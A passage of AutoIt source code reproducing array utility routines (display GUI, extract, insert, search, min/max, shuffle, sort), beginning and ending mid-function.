GUICtrlSetResizing($idcopy_id, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
GUICtrlSetResizing($idcopy_data, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
GUICtrlSetResizing($iddata_label, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
GUICtrlSetResizing($iduser_func, $_arrayconstant_gui_dockhcenter + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
GUICtrlSetResizing($idexit_script, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 0, 0)
Local $iditem
For $i = 0 To UBound($avarraytext) - 1
$iditem = GUICtrlCreateListViewItem($avarraytext[$i], $idlistview)
If $ialt_color Then
GUICtrlSetBkColor($iditem, $ialt_color)
EndIf
Next
If $icolalign Then
Local Const $_arrayconstant_lvcf_fmt = 1
Local Const $_arrayconstant_lvm_setcolumnw = (4096 + 96)
Local $tcolumn = DllStructCreate("uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal")
DllStructSetData($tcolumn, "Mask", $_arrayconstant_lvcf_fmt)
DllStructSetData($tcolumn, "Fmt", $icolalign / 2)
Local $pcolumn = DllStructGetPtr($tcolumn)
For $i = 1 To $isubitem_end - $isubitem_start + 1
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnw, $i, $pcolumn)
Next
EndIf
GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 1, 0)
Local $iborder = 45
If UBound($avarraytext) > 20 Then
$iborder += 20
EndIf
Local $iwidth = $iborder, $icolwidth = 0, $aicolwidth[$isubitem_end - $isubitem_start + 2], $imin_colwidth = 55
For $i = 0 To $isubitem_end - $isubitem_start + 1
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $_arrayconstant_lvscw_autosize)
$icolwidth = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
If $icolwidth < $imin_colwidth Then
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imin_colwidth)
$icolwidth = $imin_colwidth
EndIf
$iwidth += $icolwidth
$aicolwidth[$i] = $icolwidth
Next
If $inorow Then $iwidth -= 55
If $iwidth > @DesktopWidth - 100 Then
$iwidth = $iborder
For $i = 0 To $isubitem_end - $isubitem_start + 1
If $aicolwidth[$i] > $imax_colwidth Then
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imax_colwidth)
$iwidth += $imax_colwidth
Else
$iwidth += $aicolwidth[$i]
EndIf
Next
EndIf
If $iwidth > @DesktopWidth - 100 Then
$iwidth = @DesktopWidth - 100
ElseIf $iwidth < $iminsize Then
$iwidth = $iminsize
EndIf
Local $trect = DllStructCreate("struct; long Left;long Top;long Right;long Bottom; endstruct")
DllCall("user32.dll", "struct*", "SendMessageW", "hwnd", GUICtrlGetHandle($idlistview), "uint", $_arrayconstant_lvm_getitemrect, "wparam", 0, "struct*", $trect)
Local $aiwin_pos = WinGetPos($hgui)
Local $ailv_pos = ControlGetPos($hgui, "", $idlistview)
$iheight = ((UBound($avarraytext) + 2) * (DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top"))) + $aiwin_pos[3] - $ailv_pos[3]
If $iheight > @DesktopHeight - 100 Then
$iheight = @DesktopHeight - 100
ElseIf $iheight < $iminsize Then
$iheight = $iminsize
EndIf
SplashOff()
GUISetState(@SW_HIDE, $hgui)
WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, (@DesktopHeight - $iheight) / 2, $iwidth, $iheight)
GUISetState(@SW_SHOW, $hgui)
Local $ioneventmode = Opt("GUIOnEventMode", 0), $imsg
While 1
$imsg = GUIGetMsg()
Switch $imsg
Case $_arrayconstant_gui_event_close
ExitLoop
Case $idcopy_id, $idcopy_data
Local $isel_count = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getselectedcount, 0, 0)
If $iverbose AND (NOT $isel_count) AND ($iitem_end - $iitem_start) * ($isubitem_end - $isubitem_start) > 10000 Then
SplashTextOn("ArrayDisplay", "Copying data" & @CRLF & @CRLF & "Please be patient", 300, 100)
EndIf
Local $sclip = "", $sitem, $asplit
For $i = 0 To $iitem_end - $iitem_start
If $isel_count AND NOT (GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected)) Then
ContinueLoop
EndIf
$sitem = $avarraytext[$i]
If $imsg = $idcopy_data Then
$sitem = StringRegExpReplace($sitem, "^\[\d+\].(.*)$", "$1")
EndIf
If $icw_colwidth Then
$asplit = StringSplit($sitem, $sad_separator)
$sitem = ""
For $j = 1 To $asplit[0]
$sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth))
Next
Else
$sitem = StringReplace($sitem, $sad_separator, $vuser_separator)
EndIf
$sclip &= $sitem & @CRLF
Next
If $imsg = $idcopy_id Then
If $icw_colwidth Then
$asplit = StringSplit($sheader, $sad_separator)
$sitem = ""
For $j = 1 To $asplit[0]
$sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth))
Next
Else
$sitem = StringReplace($sheader, $sad_separator, $vuser_separator)
EndIf
$sclip = $sitem & @CRLF & $sclip
EndIf
ClipPut($sclip)
SplashOff()
GUICtrlSetState($idlistview, $_arrayconstant_gui_focus)
Case $iduser_func
Local $aiselitems[$irowlimit] = [0]
For $i = 0 To GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
If GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected) Then
$aiselitems[0] += 1
$aiselitems[$aiselitems[0]] = $i + $iitem_start
EndIf
Next
ReDim $aiselitems[$aiselitems[0] + 1]
$huser_func($avarray, $aiselitems)
GUICtrlSetState($idlistview, $_arrayconstant_gui_focus)
Case $idexit_script
GUIDelete($hgui)
Exit
EndSwitch
WEnd
GUIDelete($hgui)
Opt("GUIOnEventMode", $ioneventmode)
Opt("GUIDataSeparatorChar", $scurr_separator)
Return 1
EndFunc
Func _arrayextract(Const ByRef $avarray, $istart_row = 0, $iend_row = 0, $istart_col = 0, $iend_col = 0)
If $istart_row = Default Then $istart_row = 0
If $iend_row = Default Then $iend_row = 0
If $istart_col = Default Then $istart_col = 0
If $iend_col = Default Then $iend_col = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If $iend_row = 0 Then $iend_row = $idim_1
If $istart_row < 0 OR $iend_row < 0 Then Return SetError(3, 0, -1)
If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, -1)
If $istart_row > $iend_row Then Return SetError(4, 0, -1)
Switch UBound($avarray, $ubound_dimensions)
Case 1
Local $aretarray[$iend_row - $istart_row + 1]
For $i = 0 To $iend_row - $istart_row
$aretarray[$i] = $avarray[$i + $istart_row]
Next
Return $aretarray
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
If $iend_col = 0 Then $iend_col = $idim_2
If $istart_col < 0 OR $iend_col < 0 Then Return SetError(5, 0, -1)
If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1)
If $istart_col > $iend_col Then Return SetError(6, 0, -1)
If $istart_col = $iend_col Then
Local $aretarray[$iend_row - $istart_row + 1]
Else
Local $aretarray[$iend_row - $istart_row + 1][$iend_col - $istart_col + 1]
EndIf
For $i = 0 To $iend_row - $istart_row
For $j = 0 To $iend_col - $istart_col
If $istart_col = $iend_col Then
$aretarray[$i] = $avarray[$i + $istart_row][$j + $istart_col]
Else
$aretarray[$i][$j] = $avarray[$i + $istart_row][$j + $istart_col]
EndIf
Next
Next
Return $aretarray
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return 1
EndFunc
Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0, $brow = False)
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $icase = Default Then $icase = 0
If $icompare = Default Then $icompare = 0
If $isubitem = Default Then $isubitem = 0
If $brow = Default Then $brow = False
$istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem, $brow)
If @error Then Return SetError(@error, 0, -1)
Local $iindex = 0, $avresult[UBound($avarray)]
Do
$avresult[$iindex] = $istart
$iindex += 1
$istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem, $brow)
Until @error
ReDim $avresult[$iindex]
Return $avresult
EndFunc
Func _arrayinsert(ByRef $avarray, $vrange, $vvalue = "", $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $hdatatype = 0)
If $vvalue = Default Then $vvalue = ""
If $istart = Default Then $istart = 0
If $sdelim_item = Default Then $sdelim_item = "|"
If $sdelim_row = Default Then $sdelim_row = @CRLF
If $hdatatype = Default Then $hdatatype = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
Local $asplit_1, $asplit_2
If IsArray($vrange) Then
If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1)
Else
Local $inumber
$vrange = StringStripWS($vrange, 8)
$asplit_1 = StringSplit($vrange, ";")
$vrange = ""
For $i = 1 To $asplit_1[0]
If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
$asplit_2 = StringSplit($asplit_1[$i], "-")
Switch $asplit_2[0]
Case 1
$vrange &= $asplit_2[1] & ";"
Case 2
If Number($asplit_2[2]) >= Number($asplit_2[1]) Then
$inumber = $asplit_2[1] - 1
Do
$inumber += 1
$vrange &= $inumber & ";"
Until $inumber = $asplit_2[2]
EndIf
EndSwitch
Next
$vrange = StringSplit(StringTrimRight($vrange, 1), ";")
EndIf
If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1)
For $i = 2 To $vrange[0]
If $vrange[$i] < $vrange[$i - 1] Then Return SetError(3, 0, -1)
Next
Local $icopyto_index = $idim_1 + $vrange[0]
Local $iinsertpoint_index = $vrange[0]
Local $iinsert_index = $vrange[$iinsertpoint_index]
Switch UBound($avarray, $ubound_dimensions)
Case 1
ReDim $avarray[$idim_1 + $vrange[0] + 1]
If IsArray($vvalue) Then
If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1)
$hdatatype = 0
Else
Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit)
If UBound($atmp, $ubound_rows) = 1 Then
$atmp[0] = $vvalue
$hdatatype = 0
EndIf
$vvalue = $atmp
EndIf
For $ireadfromindex = $idim_1 To 0 Step -1
$avarray[$icopyto_index] = $avarray[$ireadfromindex]
$icopyto_index -= 1
$iinsert_index = $vrange[$iinsertpoint_index]
While $ireadfromindex = $iinsert_index
If $iinsertpoint_index <= UBound($vvalue, $ubound_rows) Then
If IsFunc($hdatatype) Then
$avarray[$icopyto_index] = $hdatatype($vvalue[$iinsertpoint_index - 1])
Else
$avarray[$icopyto_index] = $vvalue[$iinsertpoint_index - 1]
EndIf
Else
$avarray[$icopyto_index] = ""
EndIf
$icopyto_index -= 1
$iinsertpoint_index -= 1
If $iinsertpoint_index = 0 Then ExitLoop 2
$iinsert_index = $vrange[$iinsertpoint_index]
WEnd
Next
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns)
If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(6, 0, -1)
Local $ivaldim_1, $ivaldim_2
If IsArray($vvalue) Then
If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(7, 0, -1)
$ivaldim_1 = UBound($vvalue, $ubound_rows)
$ivaldim_2 = UBound($vvalue, $ubound_columns)
$hdatatype = 0
Else
$asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit)
$ivaldim_1 = UBound($asplit_1, $ubound_rows)
StringReplace($asplit_1[0], $sdelim_item, "")
$ivaldim_2 = @extended + 1
Local $atmp[$ivaldim_1][$ivaldim_2]
For $i = 0 To $ivaldim_1 - 1
$asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit)
For $j = 0 To $ivaldim_2 - 1
$atmp[$i][$j] = $asplit_2[$j]
Next
Next
$vvalue = $atmp
EndIf
If UBound($vvalue, $ubound_columns) + $istart > UBound($avarray, $ubound_columns) Then Return SetError(8, 0, -1)
ReDim $avarray[$idim_1 + $vrange[0] + 1][$idim_2]
For $ireadfromindex = $idim_1 To 0 Step -1
For $j = 0 To $idim_2 - 1
$avarray[$icopyto_index][$j] = $avarray[$ireadfromindex][$j]
Next
$icopyto_index -= 1
$iinsert_index = $vrange[$iinsertpoint_index]
While $ireadfromindex = $iinsert_index
For $j = 0 To $idim_2 - 1
If $j < $istart Then
$avarray[$icopyto_index][$j] = ""
ElseIf $j - $istart > $ivaldim_2 - 1 Then
$avarray[$icopyto_index][$j] = ""
Else
If $iinsertpoint_index - 1 < $ivaldim_1 Then
If IsFunc($hdatatype) Then
$avarray[$icopyto_index][$j] = $hdatatype($vvalue[$iinsertpoint_index - 1][$j - $istart])
Else
$avarray[$icopyto_index][$j] = $vvalue[$iinsertpoint_index - 1][$j - $istart]
EndIf
Else
$avarray[$icopyto_index][$j] = ""
EndIf
EndIf
Next
$icopyto_index -= 1
$iinsertpoint_index -= 1
If $iinsertpoint_index = 0 Then ExitLoop 2
$iinsert_index = $vrange[$iinsertpoint_index]
WEnd
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return UBound($avarray, $ubound_rows)
EndFunc
Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
If $icompnumeric = Default Then $icompnumeric = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend, $isubitem)
If @error Then Return SetError(@error, 0, "")
If UBound($avarray, $ubound_dimensions) = 1 Then
Return $avarray[$iresult]
Else
Return $avarray[$iresult][$isubitem]
EndIf
EndFunc
Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
If $icompnumeric = Default Then $icompnumeric = 0
If $icompnumeric <> 1 Then $icompnumeric = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If $iend = 0 Then $iend = $idim_1
If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
If $istart > $iend Then Return SetError(4, 0, -1)
If $idim_1 < 1 Then Return SetError(5, 0, -1)
Local $imaxindex = $istart
Switch UBound($avarray, $ubound_dimensions)
Case 1
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
Next
EndIf
Case 2
If $isubitem < 0 OR $isubitem > UBound($avarray, $ubound_columns) - 1 Then Return SetError(6, 0, -1)
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$imaxindex][$isubitem]) < Number($avarray[$i][$isubitem]) Then $imaxindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$imaxindex][$isubitem] < $avarray[$i][$isubitem] Then $imaxindex = $i
Next
EndIf
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return $imaxindex
EndFunc
Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
If $icompnumeric = Default Then $icompnumeric = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend, $isubitem)
If @error Then Return SetError(@error, 0, "")
If UBound($avarray, $ubound_dimensions) = 1 Then
Return $avarray[$iresult]
Else
Return $avarray[$iresult][$isubitem]
EndIf
EndFunc
Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
If $icompnumeric = Default Then $icompnumeric = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If $iend = 0 Then $iend = $idim_1
If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
If $istart > $iend Then Return SetError(4, 0, -1)
If $idim_1 < 1 Then Return SetError(5, 0, -1)
Local $iminindex = $istart
Switch UBound($avarray, $ubound_dimensions)
Case 1
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
Next
EndIf
Case 2
If $isubitem < 0 OR $isubitem > UBound($avarray, $ubound_columns) - 1 Then Return SetError(6, 0, -1)
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$iminindex][$isubitem]) > Number($avarray[$i][$isubitem]) Then $iminindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$iminindex][$isubitem] > $avarray[$i][$isubitem] Then $iminindex = $i
Next
EndIf
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return $iminindex
EndFunc
Func _arraypermute(ByRef $avarray, $sdelim = "")
If $sdelim = Default Then $sdelim = ""
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0)
Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
If UBound($avarray) Then
For $i = 0 To $isize - 1
$aidx[$i] = $i
Next
For $i = $isize To 1 Step -1
$ifactorial *= $i
Next
ReDim $aresult[$ifactorial + 1]
$aresult[0] = $ifactorial
__array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
Else
$aresult[0] = 0
EndIf
Return $aresult
EndFunc
Func _arraypop(ByRef $avarray)
If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, "")
Local $iubound = UBound($avarray) - 1
If $iubound = -1 Then Return SetError(3, 0, "")
Local $slastval = $avarray[$iubound]
If $iubound > -1 Then
ReDim $avarray[$iubound]
EndIf
Return $slastval
EndFunc
Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
If $idirection = Default Then $idirection = 0
If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0)
Local $iubound = UBound($avarray) - 1
If IsArray($vvalue) Then
Local $iubounds = UBound($vvalue)
If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
If $idirection Then
For $i = $iubound To $iubounds Step -1
$avarray[$i] = $avarray[$i - $iubounds]
Next
For $i = 0 To $iubounds - 1
$avarray[$i] = $vvalue[$i]
Next
Else
For $i = 0 To $iubound - $iubounds
$avarray[$i] = $avarray[$i + $iubounds]
Next
For $i = 0 To $iubounds - 1
$avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
Next
EndIf
Else
If $iubound > -1 Then
If $idirection Then
For $i = $iubound To 1 Step -1
$avarray[$i] = $avarray[$i - 1]
Next
$avarray[0] = $vvalue
Else
For $i = 0 To $iubound - 1
$avarray[$i] = $avarray[$i + 1]
Next
$avarray[$iubound] = $vvalue
EndIf
EndIf
EndIf
Return 1
EndFunc
Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0)
If NOT UBound($avarray) Then Return SetError(4, 0, 0)
Local $vtmp, $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
For $i = $istart To Int(($istart + $iend - 1) / 2)
$vtmp = $avarray[$i]
$avarray[$i] = $avarray[$iend]
$avarray[$iend] = $vtmp
$iend -= 1
Next
Return 1
EndFunc
Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1, $brow = False)
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $icase = Default Then $icase = 0
If $icompare = Default Then $icompare = 0
If $iforward = Default Then $iforward = 1
If $isubitem = Default Then $isubitem = -1
If $brow = Default Then $brow = False
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray) - 1
If $idim_1 = -1 Then Return SetError(3, 0, -1)
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
Local $bcomptype = False
If $icompare = 2 Then
$icompare = 0
$bcomptype = True
EndIf
If $brow Then
If UBound($avarray, $ubound_dimensions) = 1 Then Return SetError(5, 0, -1)
If $iend < 1 OR $iend > $idim_2 Then $iend = $idim_2
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
Else
If $iend < 1 OR $iend > $idim_1 Then $iend = $idim_1
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
EndIf
Local $istep = 1
If NOT $iforward Then
Local $itmp = $istart
$istart = $iend
$iend = $itmp
$istep = -1
EndIf
Switch UBound($avarray, $ubound_dimensions)
Case 1
If NOT $icompare Then
If NOT $icase Then
For $i = $istart To $iend Step $istep
If $bcomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$i] = $vvalue Then Return $i
Next
Else
For $i = $istart To $iend Step $istep
If $bcomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$i] == $vvalue Then Return $i
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If $icompare = 3 Then
If StringRegExp($avarray[$i], $vvalue) Then Return $i
Else
If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
EndIf
Next
EndIf
Case 2
Local $idim_sub
If $brow Then
$idim_sub = $idim_1
If $isubitem > $idim_sub Then $isubitem = $idim_sub
If $isubitem < 0 Then
$isubitem = 0
Else
$idim_sub = $isubitem
EndIf
Else
$idim_sub = $idim_2
If $isubitem > $idim_sub Then $isubitem = $idim_sub
If $isubitem < 0 Then
$isubitem = 0
Else
$idim_sub = $isubitem
EndIf
EndIf
For $j = $isubitem To $idim_sub
If NOT $icompare Then
If NOT $icase Then
For $i = $istart To $iend Step $istep
If $brow Then
If $bcomptype AND VarGetType($avarray[$j][$j]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$j][$i] = $vvalue Then Return $i
Else
If $bcomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$i][$j] = $vvalue Then Return $i
EndIf
Next
Else
For $i = $istart To $iend Step $istep
If $brow Then
If $bcomptype AND VarGetType($avarray[$j][$i]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$j][$i] == $vvalue Then Return $i
Else
If $bcomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
If $avarray[$i][$j] == $vvalue Then Return $i
EndIf
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If $icompare = 3 Then
If $brow Then
If StringRegExp($avarray[$j][$i], $vvalue) Then Return $i
Else
If StringRegExp($avarray[$i][$j], $vvalue) Then Return $i
EndIf
Else
If $brow Then
If StringInStr($avarray[$j][$i], $vvalue, $icase) > 0 Then Return $i
Else
If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
EndIf
EndIf
Next
EndIf
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return SetError(6, 0, -1)
EndFunc
Func _arrayshuffle(ByRef $avarray, $istart_row = 0, $iend_row = 0, $icol = -1)
If $istart_row = Default Then $istart_row = 0
If $iend_row = Default Then $iend_row = 0
If $icol = Default Then $icol = -1
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows)
If $iend_row = 0 Then $iend_row = $idim_1 - 1
If $istart_row < 0 OR $istart_row > $idim_1 - 1 Then Return SetError(3, 0, -1)
If $iend_row < 1 OR $iend_row > $idim_1 - 1 Then Return SetError(3, 0, -1)
If $istart_row > $iend_row Then Return SetError(4, 0, -1)
Local $vtmp, $irand
Switch UBound($avarray, $ubound_dimensions)
Case 1
For $i = $iend_row To $istart_row + 1 Step -1
$irand = Random($istart_row, $i, 1)
$vtmp = $avarray[$i]
$avarray[$i] = $avarray[$irand]
$avarray[$irand] = $vtmp
Next
Return 1
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns)
If $icol < -1 OR $icol > $idim_2 - 1 Then Return SetError(5, 0, -1)
Local $icol_start, $icol_end
If $icol = -1 Then
$icol_start = 0
$icol_end = $idim_2 - 1
Else
$icol_start = $icol
$icol_end = $icol
EndIf
For $i = $iend_row To $istart_row + 1 Step -1
$irand = Random($istart_row, $i, 1)
For $j = $icol_start To $icol_end
$vtmp = $avarray[$i][$j]
$avarray[$i][$j] = $avarray[$irand][$j]
$avarray[$irand][$j] = $vtmp
Next
Next
Return 1
Case Else
Return SetError(2, 0, -1)
EndSwitch
EndFunc
Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0, $ipivot = 0)
If $idescending = Default Then $idescending = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
If $ipivot = Default Then $ipivot = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $iubound = UBound($avarray) - 1
If $iubound = -1 Then Return SetError(5, 0, 0)
If $iend = Default Then $iend = 0
If $iend < 1 OR $iend > $iubound OR $iend = Default Then $iend = $iubound
If $istart < 0 OR $istart = Default Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
If $idescending = Default Then $idescending = 0
If $ipivot = Default Then $ipivot = 0
If $isubitem = Default Then $isubitem = 0
Switch UBound($avarray, $ubound_dimensions)
Case 1
If $ipivot Then
__arraydualpivotsort($avarray, $istart, $iend)
Else
__arrayquicksort1d($avarray, $istart, $iend)
EndIf
If $idescending Then _arrayreverse($avarray, $istart, $iend)
Case 2
If $ipivot Then Return SetError(6, 0, 0)
Local $isubmax = UBound($avarray, $ubound_columns) - 1
If $isubitem > $isubmax Then Return SetError(3, 0, 0)
If $idescending Then
$idescending = -1
Else
$idescending = 1
EndIf
__arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
Case Else
Return SetError(4, 0, 0)
EndSwitch
Return 1
EndFunc
Func __arrayquicksort1d(ByRef $avarray, Const ByRef $istart, Const ByRef $iend)
If $iend <= $istart Then Return
Local $vtmp
If ($iend - $istart) < 15 Then
Local $vcur
For $i = $istart + 1 To $iend
$vtmp = $avarray[$i]
If IsNumber($vtmp) Then
For $j = $i - 1 To $istart Step -1
$vcur = $avarray[$j]
If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
$avarray[$j + 1] = $vcur
Next
Else
For $j = $i - 1 To $istart Step -1
If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
$avarray[$j + 1] = $avarray[$j]
Next
EndIf
$avarray[$j + 1] = $vtmp
Next
Return
EndIf
Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $bnum = IsNumber($vpivot)
Do
If $bnum Then
While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
$l += 1
WEnd
While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
$r -= 1
WEnd
Else
While (StringCompare($avarray[$l], $vpivot) < 0)
$l += 1
WEnd
While (StringCompare($avarray[$r], $vpivot) > 0)
$r -= 1
WEnd
EndIf
If $l <= $r Then
$vtmp = $avarray[$l]
$avarray[$l] = $avarray[$r]
$avarray[$r] = $vtmp
$l += 1
$r -= 1
EndIf
Until $l > $r
__arrayquicksort1d($avarray, $istart, $r)
__arrayquicksort1d($avarray, $l, $iend)
EndFunc
Func __arrayquicksort2d(ByRef $avarray, Const ByRef $istep, Const ByRef $istart, Const ByRef $iend, Const ByRef $isubitem, Const ByRef $isubmax)
If $iend <= $istart Then Return
Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $bnum = IsNumber($vpivot)
Do
If $bnum Then
